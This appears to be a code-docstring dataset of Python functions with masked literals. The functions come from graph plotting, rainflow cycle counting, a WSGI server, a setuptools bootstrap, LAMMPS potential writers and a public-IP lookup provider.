{"signature": "def draw_edge(self, n1, n2, d, group):", "body": "start_radius = self.node_radius(n1)<EOL>start_theta = self.node_theta(n1)<EOL>end_radius = self.node_radius(n2)<EOL>end_theta = self.node_theta(n2)<EOL>start_theta, end_theta = self.correct_angles(start_theta, end_theta)<EOL>start_theta, end_theta = self.adjust_angles(n1, start_theta, n2,<EOL>end_theta)<EOL>middle1_radius = np.min([start_radius, end_radius])<EOL>middle2_radius = np.max([start_radius, end_radius])<EOL>if start_radius > end_radius:<EOL><INDENT>middle1_radius, middle2_radius = middle2_radius, middle1_radius<EOL><DEDENT>middle1_theta = np.mean([start_theta, end_theta])<EOL>middle2_theta = np.mean([start_theta, end_theta])<EOL>startx, starty = get_cartesian(start_radius, start_theta)<EOL>middle1x, middle1y = get_cartesian(middle1_radius, middle1_theta)<EOL>middle2x, middle2y = get_cartesian(middle2_radius, middle2_theta)<EOL>endx, endy = get_cartesian(end_radius, end_theta)<EOL>verts = [(startx, starty),<EOL>(middle1x, middle1y),<EOL>(middle2x, middle2y),<EOL>(endx, endy)]<EOL>codes = [Path.MOVETO, Path.CURVE4, Path.CURVE4, Path.CURVE4]<EOL>path = Path(verts, codes)<EOL>if self.edge_colormap is None:<EOL><INDENT>edgecolor = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>edgecolor = self.edge_colormap[group]<EOL><DEDENT>patch = patches.PathPatch(path, lw=self.linewidth, facecolor='<STR_LIT:none>',<EOL>edgecolor=edgecolor, alpha=<NUM_LIT>)<EOL>self.ax.add_patch(patch)<EOL>", "docstring": "Renders the given edge (n1, n2) to the plot.", "id": "f4539:c0:m16"}
{"signature": "def add_edges(self):", "body": "for group, edgelist in self.edges.items():<EOL><INDENT>for (u, v, d) in edgelist:<EOL><INDENT>self.draw_edge(u, v, d, group)<EOL><DEDENT><DEDENT>", "docstring": "Draws all of the edges in the graph.", "id": "f4539:c0:m17"}
{"signature": "def draw(self):", "body": "self.ax.set_xlim(-self.plot_radius(), self.plot_radius())<EOL>self.ax.set_ylim(-self.plot_radius(), self.plot_radius())<EOL>self.add_axes_and_nodes()<EOL>self.add_edges()<EOL>self.ax.axis('<STR_LIT>')<EOL>", "docstring": "The master function that is called that draws everything.", "id": "f4539:c0:m18"}
{"signature": "def adjust_angles(self, start_node, start_angle, end_node, end_angle):", "body": "start_group = self.find_node_group_membership(start_node)<EOL>end_group = self.find_node_group_membership(end_node)<EOL>if start_group == <NUM_LIT:0> and end_group == len(self.nodes.keys())-<NUM_LIT:1>:<EOL><INDENT>if self.has_edge_within_group(start_group):<EOL><INDENT>start_angle = correct_negative_angle(start_angle -<EOL>self.minor_angle)<EOL><DEDENT>if self.has_edge_within_group(end_group):<EOL><INDENT>end_angle = correct_negative_angle(end_angle +<EOL>self.minor_angle)<EOL><DEDENT><DEDENT>elif start_group == len(self.nodes.keys())-<NUM_LIT:1> and end_group == <NUM_LIT:0>:<EOL><INDENT>if self.has_edge_within_group(start_group):<EOL><INDENT>start_angle = correct_negative_angle(start_angle +<EOL>self.minor_angle)<EOL><DEDENT>if self.has_edge_within_group(end_group):<EOL><INDENT>end_angle = correct_negative_angle(end_angle -<EOL>self.minor_angle)<EOL><DEDENT><DEDENT>elif start_group < end_group:<EOL><INDENT>if self.has_edge_within_group(end_group):<EOL><INDENT>end_angle = correct_negative_angle(end_angle -<EOL>self.minor_angle)<EOL><DEDENT>if self.has_edge_within_group(start_group):<EOL><INDENT>start_angle = correct_negative_angle(start_angle +<EOL>self.minor_angle)<EOL><DEDENT><DEDENT>elif end_group < start_group:<EOL><INDENT>if self.has_edge_within_group(start_group):<EOL><INDENT>start_angle = correct_negative_angle(start_angle -<EOL>self.minor_angle)<EOL><DEDENT>if self.has_edge_within_group(end_group):<EOL><INDENT>end_angle = correct_negative_angle(end_angle +<EOL>self.minor_angle)<EOL><DEDENT><DEDENT>return start_angle, end_angle<EOL>", "docstring": "This function adjusts the start and end angles to correct for\nduplicated axes.", "id": "f4539:c0:m19"}
{"signature": "def correct_angles(self, start_angle, end_angle):", "body": "<EOL>if start_angle == <NUM_LIT:0> and (end_angle - start_angle > np.pi):<EOL><INDENT>start_angle = np.pi * <NUM_LIT:2><EOL><DEDENT>if end_angle == <NUM_LIT:0> and (end_angle - start_angle < -np.pi):<EOL><INDENT>end_angle = np.pi * <NUM_LIT:2><EOL><DEDENT>if start_angle == end_angle:<EOL><INDENT>start_angle = start_angle - self.minor_angle<EOL>end_angle = end_angle + self.minor_angle<EOL><DEDENT>return start_angle, end_angle<EOL>", "docstring": "This function corrects for the following problems in the edges:", "id": "f4539:c0:m20"}
{"signature": "def reversals(series, left=False, right=False):", "body": "series = iter(series)<EOL>x_last, x = next(series), next(series)<EOL>d_last = (x - x_last)<EOL>if left:<EOL><INDENT>yield x_last<EOL><DEDENT>for x_next in series:<EOL><INDENT>if x_next == x:<EOL><INDENT>continue<EOL><DEDENT>d_next = x_next - x<EOL>if d_last * d_next < <NUM_LIT:0>:<EOL><INDENT>yield x<EOL><DEDENT>x_last, x = x, x_next<EOL>d_last = d_next<EOL><DEDENT>if right:<EOL><INDENT>yield x_next<EOL><DEDENT>", "docstring": "Iterate reversal points in the series.\n\n    A reversal point is a point in the series at which the first derivative\n    changes sign. Reversal is undefined at the first (last) point because the\n    derivative before (after) this point is undefined. The first and the last\n    points may be treated as reversals by setting the optional parameters\n    `left` and `right` to True.\n\n    Parameters\n    ----------\n    series : iterable sequence of numbers\n    left: bool, optional\n        If True, yield the first point in the series (treat it as a reversal).\n    right: bool, optional\n        If True, yield the last point in the series (treat it as a reversal).\n\n    Yields\n    ------\n    float\n        Reversal points.", "id": "f4542:m1"}
{"signature": "def _sort_lows_and_highs(func):", "body": "@functools.wraps(func)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>for low, high, mult in func(*args, **kwargs):<EOL><INDENT>if low < high:<EOL><INDENT>yield low, high, mult<EOL><DEDENT>else:<EOL><INDENT>yield high, low, mult<EOL><DEDENT><DEDENT><DEDENT>return wrapper<EOL>", "docstring": "Decorator for extract_cycles", "id": "f4542:m2"}
{"signature": "@_sort_lows_and_highs<EOL>def extract_cycles(series, left=False, right=False):", "body": "points = deque()<EOL>for x in reversals(series, left=left, right=right):<EOL><INDENT>points.append(x)<EOL>while len(points) >= <NUM_LIT:3>:<EOL><INDENT>X = abs(points[-<NUM_LIT:2>] - points[-<NUM_LIT:1>])<EOL>Y = abs(points[-<NUM_LIT:3>] - points[-<NUM_LIT:2>])<EOL>if X < Y:<EOL><INDENT>break<EOL><DEDENT>elif len(points) == <NUM_LIT:3>:<EOL><INDENT>yield points[<NUM_LIT:0>], points[<NUM_LIT:1>], <NUM_LIT:0.5><EOL>points.popleft()<EOL><DEDENT>else:<EOL><INDENT>yield points[-<NUM_LIT:3>], points[-<NUM_LIT:2>], <NUM_LIT:1.0><EOL>last = points.pop()<EOL>points.pop()<EOL>points.pop()<EOL>points.append(last)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>while len(points) > <NUM_LIT:1>:<EOL><INDENT>yield points[<NUM_LIT:0>], points[<NUM_LIT:1>], <NUM_LIT:0.5><EOL>points.popleft()<EOL><DEDENT><DEDENT>", "docstring": "Iterate cycles in the series.\n\n    Parameters\n    ----------\n    series : iterable sequence of numbers\n    left: bool, optional\n        If True, treat the first point in the series as a reversal.\n    right: bool, optional\n        If True, treat the last point in the series as a reversal.\n\n    Yields\n    ------\n    cycle : tuple\n        Each tuple contains three floats (low, high, mult), where low and high\n        define cycle amplitude and mult equals to 1.0 for full cycles and 0.5\n        for half cycles.", "id": "f4542:m3"}
{"signature": "def count_cycles(series, ndigits=None, left=False, right=False):", "body": "counts = defaultdict(float)<EOL>round_ = _get_round_function(ndigits)<EOL>for low, high, mult in extract_cycles(series, left=left, right=right):<EOL><INDENT>delta = round_(abs(high - low))<EOL>counts[delta] += mult<EOL><DEDENT>return sorted(counts.items())<EOL>", "docstring": "Count cycles in the series.\n\n    Parameters\n    ----------\n    series : iterable sequence of numbers\n    ndigits : int, optional\n        Round cycle magnitudes to the given number of digits before counting.\n    left: bool, optional\n        If True, treat the first point in the series as a reversal.\n    right: bool, optional\n        If True, treat the last point in the series as a reversal.\n\n    Returns\n    -------\n    A sorted list containing pairs of cycle magnitude and count.\n    One-half cycles are counted as 0.5, so the returned counts may not be\n    whole numbers.", "id": "f4542:m4"}
{"signature": "def CherryPyWSGIServer(bind_addr,<EOL>wsgi_app,<EOL>numthreads = <NUM_LIT:10>,<EOL>server_name = None,<EOL>max = -<NUM_LIT:1>,<EOL>request_queue_size = <NUM_LIT:5>,<EOL>timeout = <NUM_LIT:10>,<EOL>shutdown_timeout = <NUM_LIT:5>):", "body": "max_threads = max<EOL>if max_threads < <NUM_LIT:0>:<EOL><INDENT>max_threads = <NUM_LIT:0><EOL><DEDENT>return Rocket(bind_addr, '<STR_LIT>', {'<STR_LIT>': wsgi_app},<EOL>min_threads = numthreads,<EOL>max_threads = max_threads,<EOL>queue_size = request_queue_size,<EOL>timeout = timeout)<EOL>", "docstring": "A Cherrypy wsgiserver-compatible wrapper.", "id": "f4560:m0"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "Worker.__init__(self, *args, **kwargs)<EOL>if isinstance(self.app_info, dict):<EOL><INDENT>multithreaded = self.app_info.get('<STR_LIT>') != <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>multithreaded = False<EOL><DEDENT>self.base_environ = dict({'<STR_LIT>': self.app_info['<STR_LIT>'],<EOL>'<STR_LIT>': multithreaded,<EOL>})<EOL>self.base_environ.update(BASE_ENV)<EOL>self.app = self.app_info.get('<STR_LIT>')<EOL>if not hasattr(self.app, \"<STR_LIT>\"):<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % repr(self.app))<EOL><DEDENT>if has_futures and self.app_info.get('<STR_LIT>'):<EOL><INDENT>executor = self.app_info['<STR_LIT>']<EOL>self.base_environ.update({\"<STR_LIT>\": executor,<EOL>\"<STR_LIT>\": executor.futures})<EOL><DEDENT>", "docstring": "Builds some instance variables that will last the life of the\n        thread.", "id": "f4562:c0:m0"}
{"signature": "def build_environ(self, sock_file, conn):", "body": "<EOL>request = self.read_request_line(sock_file)<EOL>environ = self.base_environ.copy()<EOL>for k, v in self.read_headers(sock_file).items():<EOL><INDENT>environ[str('<STR_LIT>'+k)] = v<EOL><DEDENT>environ['<STR_LIT>'] = request['<STR_LIT>']<EOL>environ['<STR_LIT>'] = request['<STR_LIT:path>']<EOL>environ['<STR_LIT>'] = request['<STR_LIT>']<EOL>environ['<STR_LIT>'] = str(conn.server_port)<EOL>environ['<STR_LIT>'] = str(conn.client_port)<EOL>environ['<STR_LIT>'] = str(conn.client_addr)<EOL>environ['<STR_LIT>'] = request['<STR_LIT>']<EOL>if '<STR_LIT>' in environ:<EOL><INDENT>environ['<STR_LIT>'] = environ['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in environ:<EOL><INDENT>environ['<STR_LIT>'] = environ['<STR_LIT>']<EOL><DEDENT>self.request_method = environ['<STR_LIT>']<EOL>if conn.ssl:<EOL><INDENT>environ['<STR_LIT>'] = '<STR_LIT>'<EOL>environ['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>environ['<STR_LIT>'] = '<STR_LIT:http>'<EOL><DEDENT>if environ.get('<STR_LIT>', '<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>environ['<STR_LIT>'] = ChunkedReader(sock_file)<EOL><DEDENT>else:<EOL><INDENT>environ['<STR_LIT>'] = sock_file<EOL><DEDENT>return environ<EOL>", "docstring": "Build the execution environment.", "id": "f4562:c0:m1"}
{"signature": "def write(self, data, sections=None):", "body": "if self.error[<NUM_LIT:0>]:<EOL><INDENT>self.status = self.error[<NUM_LIT:0>]<EOL>data = b(self.error[<NUM_LIT:1>])<EOL><DEDENT>if not self.headers_sent:<EOL><INDENT>self.send_headers(data, sections)<EOL><DEDENT>if self.request_method != '<STR_LIT>':<EOL><INDENT>try:<EOL><INDENT>if self.chunked:<EOL><INDENT>self.conn.sendall(b('<STR_LIT>' % (len(data), data)))<EOL><DEDENT>else:<EOL><INDENT>self.conn.sendall(data)<EOL><DEDENT><DEDENT>except socket.timeout:<EOL><INDENT>self.closeConnection = True<EOL><DEDENT>except socket.error:<EOL><INDENT>self.closeConnection = True<EOL><DEDENT><DEDENT>", "docstring": "Write the data to the output socket.", "id": "f4562:c0:m4"}
{"signature": "def start_response(self, status, response_headers, exc_info=None):", "body": "if exc_info:<EOL><INDENT>try:<EOL><INDENT>if self.headers_sent:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>exc_info = None<EOL><DEDENT><DEDENT>elif self.header_set:<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>if PY3K and not isinstance(status, str):<EOL><INDENT>self.status = str(status, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>self.status = status<EOL><DEDENT>try:<EOL><INDENT>self.header_set = Headers(response_headers)<EOL><DEDENT>except UnicodeDecodeError:<EOL><INDENT>self.error = ('<STR_LIT>',<EOL>'<STR_LIT>')<EOL>self.err_log.error('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>return self.write_warning<EOL>", "docstring": "Store the HTTP status and headers to be sent when self.write is\n        called.", "id": "f4562:c0:m5"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "Worker.__init__(self, *args, **kwargs)<EOL>self.root = os.path.abspath(self.app_info['<STR_LIT>'])<EOL>self.display_index = self.app_info['<STR_LIT>']<EOL>", "docstring": "Builds some instance variables that will last the life of the\n        thread.", "id": "f4564:c1:m0"}
{"signature": "def download_setuptools(version=DEFAULT_VERSION, download_base=DEFAULT_URL,<EOL>to_dir=os.curdir, delay=<NUM_LIT:15>):", "body": "<EOL>to_dir = os.path.abspath(to_dir)<EOL>try:<EOL><INDENT>from urllib.request import urlopen<EOL><DEDENT>except ImportError:<EOL><INDENT>from urllib2 import urlopen<EOL><DEDENT>tgz_name = \"<STR_LIT>\" % version<EOL>url = download_base + tgz_name<EOL>saveto = os.path.join(to_dir, tgz_name)<EOL>src = dst = None<EOL>if not os.path.exists(saveto):  <EOL><INDENT>try:<EOL><INDENT>log.warn(\"<STR_LIT>\", url)<EOL>src = urlopen(url)<EOL>data = src.read()<EOL>dst = open(saveto, \"<STR_LIT:wb>\")<EOL>dst.write(data)<EOL><DEDENT>finally:<EOL><INDENT>if src:<EOL><INDENT>src.close()<EOL><DEDENT>if dst:<EOL><INDENT>dst.close()<EOL><DEDENT><DEDENT><DEDENT>return os.path.realpath(saveto)<EOL>", "docstring": "Download distribute from a specified location and return its filename\n\n    `version` should be a valid distribute version number that is available\n    as an egg for download under the `download_base` URL (which should end\n    with a '/'). `to_dir` is the directory where the egg will be downloaded.\n    `delay` is the number of seconds to pause before an actual download\n    attempt.", "id": "f4571:m4"}
{"signature": "def _patch_file(path, content):", "body": "existing_content = open(path).read()<EOL>if existing_content == content:<EOL><INDENT>log.warn('<STR_LIT>')<EOL>return False<EOL><DEDENT>log.warn('<STR_LIT>')<EOL>_rename_path(path)<EOL>f = open(path, '<STR_LIT:w>')<EOL>try:<EOL><INDENT>f.write(content)<EOL><DEDENT>finally:<EOL><INDENT>f.close()<EOL><DEDENT>return True<EOL>", "docstring": "Will backup the file then patch it", "id": "f4571:m6"}
{"signature": "def _extractall(self, path=\"<STR_LIT:.>\", members=None):", "body": "import copy<EOL>import operator<EOL>from tarfile import ExtractError<EOL>directories = []<EOL>if members is None:<EOL><INDENT>members = self<EOL><DEDENT>for tarinfo in members:<EOL><INDENT>if tarinfo.isdir():<EOL><INDENT>directories.append(tarinfo)<EOL>tarinfo = copy.copy(tarinfo)<EOL>tarinfo.mode = <NUM_LIT> <EOL><DEDENT>self.extract(tarinfo, path)<EOL><DEDENT>if sys.version_info < (<NUM_LIT:2>, <NUM_LIT:4>):<EOL><INDENT>def sorter(dir1, dir2):<EOL><INDENT>return cmp(dir1.name, dir2.name)<EOL><DEDENT>directories.sort(sorter)<EOL>directories.reverse()<EOL><DEDENT>else:<EOL><INDENT>directories.sort(key=operator.attrgetter('<STR_LIT:name>'), reverse=True)<EOL><DEDENT>for tarinfo in directories:<EOL><INDENT>dirpath = os.path.join(path, tarinfo.name)<EOL>try:<EOL><INDENT>self.chown(tarinfo, dirpath)<EOL>self.utime(tarinfo, dirpath)<EOL>self.chmod(tarinfo, dirpath)<EOL><DEDENT>except ExtractError:<EOL><INDENT>e = sys.exc_info()[<NUM_LIT:1>]<EOL>if self.errorlevel > <NUM_LIT:1>:<EOL><INDENT>raise<EOL><DEDENT>else:<EOL><INDENT>self._dbg(<NUM_LIT:1>, \"<STR_LIT>\" % e)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Extract all members from the archive to the current working\n       directory and set owner, modification time and permissions on\n       directories afterwards. `path' specifies a different directory\n       to extract to. `members' is optional and must be a subset of the\n       list returned by getmembers().", "id": "f4571:m17"}
{"signature": "def main(argv, version=DEFAULT_VERSION):", "body": "tarball = download_setuptools()<EOL>_install(tarball)<EOL>", "docstring": "Install or upgrade setuptools and EasyInstall", "id": "f4571:m18"}
{"signature": "def update_config(new_config):", "body": "flask_app.base_config.update(new_config)<EOL>if '<STR_LIT>' in new_config:<EOL><INDENT>wd = os.path.abspath(new_config['<STR_LIT>'])<EOL>if nbmanager.notebook_dir != wd:<EOL><INDENT>if not os.path.exists(wd):<EOL><INDENT>raise IOError('<STR_LIT>' % wd)<EOL><DEDENT>nbmanager.notebook_dir = wd<EOL><DEDENT><DEDENT>", "docstring": "Update config options with the provided dictionary of options.", "id": "f4577:m1"}
{"signature": "def set_config(new_config={}):", "body": "<EOL>flask_app.base_config = dict(working_directory='<STR_LIT:.>',<EOL>template='<STR_LIT>',<EOL>debug=False,<EOL>port=None)<EOL>update_config(new_config)<EOL>", "docstring": "Reset config options to defaults, and then update (optionally)\n    with the provided dictionary of options.", "id": "f4577:m2"}
{"signature": "def write_table_pair_potential(func, dfunc=None, bounds=(<NUM_LIT:1.0>, <NUM_LIT>), samples=<NUM_LIT:1000>, tollerance=<NUM_LIT>, keyword='<STR_LIT>'):", "body": "r_min, r_max = bounds<EOL>if dfunc is None:<EOL><INDENT>dfunc = lambda r: (func(r+tollerance) - func(r-tollerance)) / (<NUM_LIT:2>*tollerance)<EOL><DEDENT>i = np.arange(<NUM_LIT:1>, samples+<NUM_LIT:1>)<EOL>r = np.linspace(r_min, r_max, samples)<EOL>forces = func(r)<EOL>energies = dfunc(r)<EOL>lines = ['<STR_LIT>' % (index, radius, force, energy) for index, radius, force, energy in zip(i, r, forces, energies)]<EOL>return \"<STR_LIT>\" % (keyword, samples) + '<STR_LIT>'.join(lines)<EOL>", "docstring": "A helper function to write lammps pair potentials to string. Assumes that\n    functions are vectorized.\n\n    Parameters\n    ----------\n    func: function\n       A function that will be evaluated for the force at each radius. Required to\n       be numpy vectorizable.\n    dfunc: function\n       Optional. A function that will be evaluated for the energy at each\n       radius. If not supplied the centered difference method will be\n       used. Required to be numpy vectorizable.\n    bounds: tuple, list\n       Optional. specifies min and max radius to evaluate the\n       potential. Default 1 length unit, 10 length unit.\n    samples: int\n       Number of points to evaluate potential. Default 1000. Note that\n       a low number of sample points will reduce accuracy.\n    tollerance: float\n       Value used to centered difference differentiation.\n    keyword: string\n       Lammps keyword to use to pair potential. This keyword will need\n       to be used in the lammps pair_coeff. Default ``PAIR``\n    filename: string\n       Optional. filename to write lammps table potential as. Default\n       ``lammps.table`` it is highly recomended to change the value.\n\n    A file for each unique pair potential is required.", "id": "f4590:m0"}
{"signature": "def write_tersoff_potential(parameters):", "body": "lines = []<EOL>for (e1, e2, e3), params in parameters.items():<EOL><INDENT>if len(params) != <NUM_LIT>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>lines.append('<STR_LIT:U+0020>'.join([e1, e2, e3] + ['<STR_LIT>'.format(_) for _ in params]))<EOL><DEDENT>return '<STR_LIT:\\n>'.join(lines)<EOL>", "docstring": "Write tersoff potential file from parameters to string\n\n    Parameters\n    ----------\n    parameters: dict\n       keys are tuple of elements with the values being the parameters length 14", "id": "f4590:m1"}
{"signature": "def write_stillinger_weber_potential(parameters):", "body": "lines = []<EOL>for (e1, e2, e3), params in parameters.items():<EOL><INDENT>if len(params) != <NUM_LIT:11>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>lines.append('<STR_LIT:U+0020>'.join([e1, e2, e3] + ['<STR_LIT>'.format(_) for _ in params]))<EOL><DEDENT>return '<STR_LIT:\\n>'.join(lines)<EOL>", "docstring": "Write stillinger-weber potential file from parameters to string\n\n    Parameters\n    ----------\n    parameters: dict\n           keys are tuple of elements with the values being the parameters length 11", "id": "f4590:m2"}
{"signature": "def write_gao_weber_potential(parameters):", "body": "lines = []<EOL>for (e1, e2, e3), params in parameters.items():<EOL><INDENT>if len(params) != <NUM_LIT>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>lines.append('<STR_LIT:U+0020>'.join([e1, e2, e3] + ['<STR_LIT>'.format(_) for _ in params]))<EOL><DEDENT>return '<STR_LIT:\\n>'.join(lines)<EOL>", "docstring": "Write gao-weber potential file from parameters\n\n    Parameters\n    ----------\n    parameters: dict\n           keys are tuple of elements with the values being the parameters length 14", "id": "f4590:m3"}
{"signature": "def write_vashishta_potential(parameters):", "body": "lines = []<EOL>for (e1, e2, e3), params in parameters.items():<EOL><INDENT>if len(params) != <NUM_LIT>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>lines.append('<STR_LIT:U+0020>'.join([e1, e2, e3] + ['<STR_LIT>'.format(_) for _ in params]))<EOL><DEDENT>return '<STR_LIT:\\n>'.join(lines)<EOL>", "docstring": "Write vashishta potential file from parameters\n\n    Parameters\n    ----------\n    parameters: dict\n           keys are tuple of elements with the values being the parameters length 14", "id": "f4590:m4"}
{"signature": "def write_comb_potential(parameters):", "body": "lines = []<EOL>for (e1, e2, e3), params in parameters.items():<EOL><INDENT>if len(params) != <NUM_LIT>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>lines.append('<STR_LIT:U+0020>'.join([e1, e2, e3] + ['<STR_LIT>'.format(_) for _ in params]))<EOL><DEDENT>return '<STR_LIT:\\n>'.join(lines)<EOL>", "docstring": "Write comb potential file from parameters\n\n    Parameters\n    ----------\n    parameters: dict\n           keys are tuple of elements with the values being the parameters length 46", "id": "f4590:m5"}
{"signature": "def write_comb_3_potential(parameters):", "body": "lines = []<EOL>for (e1, e2, e3), params in parameters.items():<EOL><INDENT>if len(params) != <NUM_LIT>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>lines.append('<STR_LIT:U+0020>'.join([e1, e2, e3] + ['<STR_LIT>'.format(_) for _ in params]))<EOL><DEDENT>return '<STR_LIT:\\n>'.join(lines)<EOL>", "docstring": "Write comb 3 potential file from parameters\n\n    Parameters\n    ----------\n    parameters: dict\n           keys are tuple of elements with the values being the parameters length 71", "id": "f4590:m6"}
{"signature": "def __init__(self):", "body": "", "docstring": "Constructor", "id": "f4601:c0:m0"}
{"signature": "def add_source(self, source):", "body": "", "docstring": "Adds a source to the set being used by the provider", "id": "f4601:c0:m1"}
{"signature": "def get_ip(self):", "body": "", "docstring": "Round robin through the configured providers until\none returns an IP, then cache it.", "id": "f4601:c0:m2"}
{"signature": "def get_info(self, required_info_keys=None):", "body": "", "docstring": "Round robin through the configured providers until\none returns the keys required, then cache it.", "id": "f4601:c0:m3"}
{"signature": "def invalidate_cache(self):", "body": "", "docstring": "Invalidates the cache", "id": "f4601:c0:m4"}
{"signature": "def is_cache_valid(self):", "body": "", "docstring": "Evaluates the validity of the cache", "id": "f4601:c0:m5"}
{"signature": "def __init__(self, source_list=None, cache_ttl=<NUM_LIT>):", "body": "self._sources = collections.defaultdict(dict)<EOL>if source_list:<EOL><INDENT>for source in source_list:<EOL><INDENT>self.add_source(source)<EOL><DEDENT><DEDENT>self._cache_ttl = cache_ttl<EOL>self._cache_ip = None<EOL>self._cache_info = None<EOL>self._cache_timestamp = <NUM_LIT:0><EOL>", "docstring": "Constructor\n\n:param source_list: The list of sources to bootstrap the provider with\n:type source_list: list of IIPSource providers\n:param cache_ttl: the seconds the ip cache remains valid\n:type cache_ttl: int", "id": "f4601:c1:m0"}
{"signature": "def add_source(self, source):", "body": "if sources.IIPSource.providedBy(source):<EOL><INDENT>self._sources[source]['<STR_LIT>'] = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Adds a source to the set being used by the provider\n:param source: The IIPSource provider to add to sources\n:type source: IIPSource provider", "id": "f4601:c1:m1"}
{"signature": "def get_ip(self):", "body": "if not self.is_cache_valid() or self._cache_ip is None:<EOL><INDENT>self._cache_ip, self._cache_info = self._fetch_from_sources()<EOL>self._cache_timestamp = time.time()<EOL><DEDENT>return self._cache_ip<EOL>", "docstring": "Round robin through the configured providers until one returns an IP, then cache it\n:return: the current ip\n:rtype: ipaddress.IPv4Address or ipaddress.IPv6Address", "id": "f4601:c1:m2"}
{"signature": "def get_info(self, required_info_keys=None):", "body": "if not self.is_cache_valid or not self._cache_infoor not self._verify_required_keys(self._cache_info, required_info_keys):<EOL><INDENT>self._cache_ip, self._cache_info = self._fetch_from_sources(required_info_keys)<EOL>self._cache_timestamp = time.time()<EOL><DEDENT>return self._cache_info<EOL>", "docstring": "Round robin through the configured providers until one returns the keys\nrequired, then cache it\n:param required_info_keys: The keys required for the fetch to be valid\n:type required_info_keys: list(tuple)\n:return: The info dictionary returned by the provider\n:rtype: dict", "id": "f4601:c1:m3"}
{"signature": "def _fetch_from_sources(self, required_info_keys=None):", "body": "srces = self._sources.keys()<EOL>random.shuffle(srces)<EOL>for source in srces:<EOL><INDENT>try:<EOL><INDENT>source.fetch()<EOL>ip_address = source.ip_address<EOL>info = source.info<EOL>if self._verify_required_keys(info, required_info_keys):<EOL><INDENT>return ip_address, info<EOL><DEDENT><DEDENT>except (ValueError, requests.ConnectionError):<EOL><INDENT>continue<EOL><DEDENT><DEDENT>raise NullResponseFromSourcesError(\"<STR_LIT>\")<EOL>", "docstring": "Internal method that fetches from configured sources.\n:param required_info_keys: Keys that are required in the response\n:type required_info_keys: list\n:return: None\n:rtype: None", "id": "f4601:c1:m4"}
{"signature": "@staticmethod<EOL><INDENT>def _verify_required_keys(info, required_info_keys):<DEDENT>", "body": "keys_found = True<EOL>if required_info_keys is not None:<EOL><INDENT>for key in required_info_keys:<EOL><INDENT>if isinstance(key, (tuple, list)):<EOL><INDENT>if not any([subkey in info for subkey in key]):<EOL><INDENT>keys_found = False<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if key not in info:<EOL><INDENT>keys_found = False<EOL>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return keys_found<EOL>", "docstring": "Private method to check that all keys required in an info response\nare provided.\n\n:param info: The dict to check for keys\n:type info: dict\n:param required_info_keys: a list of keys that are required. Lists or tuples\nprovided in this list indicate that at least one key in the set must be present.\n:type required_info_keys: list(str, list(str))", "id": "f4601:c1:m5"}
{"signature": "def invalidate_cache(self):", "body": "self._cache_timestamp = <NUM_LIT:0><EOL>", "docstring": "Invalidates the cache", "id": "f4601:c1:m6"}
{"signature": "def is_cache_valid(self):", "body": "is_expired = time.time() - self._cache_timestamp < self._cache_ttl<EOL>cache_info_set = self._cache_info is not None<EOL>cache_ip_set = self._cache_ip is not None<EOL>return is_expired and cache_info_set and cache_ip_set<EOL>", "docstring": "Evaluates the validity of the cache", "id": "f4601:c1:m7"}
{"signature": "@property<EOL><INDENT>def num_sources(self):<DEDENT>", "body": "return len(self._sources)<EOL>", "docstring": "Returns the number of configured sources in the provider", "id": "f4601:c1:m8"}
{"signature": "def __init__(self, source_list=None, cache_ttl=<NUM_LIT>, min_source_agreement=<NUM_LIT:2>):", "body": "super(MultisourceIPProvider, self).__init__(source_list, cache_ttl)<EOL>self._min_source_agreement = min_source_agreement<EOL>", "docstring": ":param source_list: The list of sources to bootstrap the provider with\n:type source_list: list of IIPSource providers\n:param cache_ttl: the seconds the ip cache remains valid\n:param min_source_agreement: The minimum number of source that must be\nin agreement for an ip_fetch\n:type min_source_agreement: int", "id": "f4601:c2:m0"}
{"signature": "def __init__(self):", "body": "", "docstring": "Empty Constructor that shouldn't be ran for PyLint", "id": "f4603:c0:m0"}
{"signature": "def fetch(self):", "body": "", "docstring": "Performs a refresh from source", "id": "f4603:c0:m1"}
{"signature": "def __init__(self, ip_url):", "body": "self._ip_url = ip_url<EOL>self._ip_address = None<EOL>self._info = None<EOL>", "docstring": "Constructor\n:param ip_url: The URL used to get the IP\n:type ip_url: str", "id": "f4603:c1:m0"}
{"signature": "@property<EOL><INDENT>def ip_address(self):<DEDENT>", "body": "self.fetch()<EOL>return copy.deepcopy(self._ip_address)<EOL>", "docstring": "Returns the IP from source.\n:return: The IP\n:rtype: ipaddress.IPv4Address or ipaddress.IPv6Address", "id": "f4603:c1:m1"}
{"signature": "@property<EOL><INDENT>def info(self):<DEDENT>", "body": "self.fetch()<EOL>return self._info<EOL>", "docstring": "Returns a dictionary containing any additional information returned by the API\n:return: any additional information returned by the API\n:rtype: dict", "id": "f4603:c1:m2"}
{"signature": "def fetch(self):", "body": "response = requests.get(self._ip_url, headers = {\"<STR_LIT>\": \"<STR_LIT>\"})<EOL>self._ip_address = ipaddress.ip_address(unicode(response.content.strip()))<EOL>self._info = dict()<EOL>", "docstring": "Performs a refresh from source\n:return: None\n:rtype: None", "id": "f4603:c1:m3"}
